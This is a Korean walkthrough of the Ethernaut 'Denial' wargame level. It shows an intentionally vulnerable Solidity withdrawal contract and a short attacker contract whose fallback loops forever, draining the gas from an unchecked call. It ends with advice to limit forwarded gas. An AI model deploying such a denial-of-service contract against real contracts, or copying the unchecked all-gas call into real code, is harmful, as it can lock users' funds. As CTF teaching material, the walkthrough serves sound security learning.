Ethernaut: 20. 거부

Play the level

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {
  using SafeMath for uint256;
  address public partner; // withdrawal partner - pay the gas, split the withdraw
  address payable public constant owner = address(0xA9E);
  uint timeLastWithdrawn;
  mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

  function setWithdrawPartner(address _partner) public {
    partner = _partner;
  }

  // withdraw 1% to recipient and 1% to owner
  function withdraw() public {
    uint amountToSend = address(this).balance.div(100);
    // perform a call without checking return
    // The recipient can revert, the owner will still get their share
    partner.call{value:amountToSend}("");
    owner.transfer(amountToSend);
    // keep track of last withdrawal time
    timeLastWithdrawn = now;
    withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
  }

  // allow deposit of funds
  receive() external payable {}

  // convenience function
  function contractBalance() public view returns (uint) {
    return address(this).balance;
  }
}


이 수준에서 익스플로잇은 call 기능과 관련이 있습니다: partner.call{value:amountToSend}("") . 여기서 call는 빈 msg.dataamountToSend 값으로 파트너 주소에 만들어집니다. call를 사용할 때 전달할 가스의 양을 지정하지 않으면 모든 것을 전달합니다! 주석 라인에서 알 수 있듯이 호출을 되돌려도 실행에 영향을 주지 않지만 해당 호출에서 모든 가스를 소모하면 어떻게 됩니까?

그것이 공격입니다. 호출이 메시지 데이터 없이 이루어지기 때문에 fallback 함수를 작성하고 거기에 무한 루프를 넣습니다.

contract BadPartner { 
  fallback() external payable {
    while (true) {}
  } 
}


그런 다음 출금 파트너를 이 계약 주소로 설정하면 완료됩니다. call는 나머지 가스의 최대 63/64를 사용할 수 있습니다(EIP-150 참조). 가스의 1/64가 나머지 재료를 완성하기에 충분하다면 잘한 것입니다. 그래도 안전을 위해 전달할 가스의 양을 지정하십시오.

좋은 웹페이지 즐겨찾기